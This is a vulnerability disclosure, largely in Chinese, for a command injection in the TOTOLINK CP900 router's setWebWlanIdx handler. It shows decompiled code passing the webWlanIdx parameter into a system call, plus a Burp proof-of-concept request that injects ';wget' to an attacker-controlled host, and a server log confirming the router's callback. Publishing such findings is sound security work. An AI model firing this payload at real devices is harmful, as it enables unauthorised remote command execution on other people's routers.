

TOTOLINK Vulnerability

品牌: TOTOLINK

产品型号: CP900

固件版本: TOTOLINK_C8B810C-

1A_CP900_CP0016_QCA9531_SPI_16M128M_V6.3c.566_B20171026_ALL.web

下载链接: <http://www.totolink.cn/data/upload/20210720/5bee10397c082b0419cbad3eb7d1bd97.zip>

漏洞描述

Totolink outdoor CP900 V6.3c.566_B20171026版本。通过webWlanIdx参数在setWebWlanIdx函数中包含命令注入漏洞。该漏洞允许攻击者通过精心编制的请求执行任意命令。

```
int __fastcall setWebWlanIdx(int a1, int a2, int a3)
{
    const char *Var; // $v0
    char v7[64]; // [sp+1Ch] [-48h] BYREF

    Var = (const char *)websGetVar(a2, "webWlanIdx", "0");
    sprintf(v7, "echo %s > /tmp/webWlanIdx", Var);
    CsteSystem(v7, 0);
    websSetCfgResponse(a1, a3, "0", "reserv");
    return 0;
}
```

POC

The screenshot displays a terminal window at the top where a Python HTTP server is running on port 8000. It receives a GET request from 192.168.0.254. Below the terminal is the Burp Suite Community Edition v2022.1.1 interface. The 'Target' tab is active, showing the target URL as http://192.168.0.254. The 'Request' tab shows a raw HTTP request from a web browser. The 'Response' tab shows a raw HTTP response from the server, which is a 200 OK status with a 'text/plain' content type. The response body contains a JSON object with an 'error' field set to 'timeout'. The 'Inspector' tab on the right shows the request and response details.

```
test python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.254 - - [25/Mar/2022 05:04:59] "GET / HTTP/1.1" 200 -
```

Burp Suite Community Edition v2022.1.1 - Temporary Project

Sequencer Decoder Comparer Logger Extender Project options User options

Dashboard Target Proxy Intruder Rep

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x 9 x ...

Send Cancel < >

Target: http://192.168.0.254

Request

Pretty Raw Hex

```
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type:
  application/x-www-form-urlencoded;
  charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 107
10 Origin: http://192.168.0.254
11 Connection: close
12 Referer:
  http://192.168.0.254/wireless/basic.asp
  ?timestamp=1648197807539
13 Cookie: SESSION_ID=2:1648154054:2
14
15 {
16   "topicurl": "setting/setWebWlanIdx",
17   "webWlanIdx":
18     "111111111111;wget http://192.168.0.2
19     53:8000;echo 1 "
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Type: text/plain
3 Content-Length: 19
4 Pragma: no-cache
5 Cache-Control: no-cache
6 Connection: close
7 Date: Thu, 24 Mar 2022 20:56:41 GMT
8 Server: lighttpd/1.4.30
9
10 {"error": "timeout"}
```

Inspector

Request Attributes

Request Query Parameters

Request Cookies

Request Headers

Response Headers

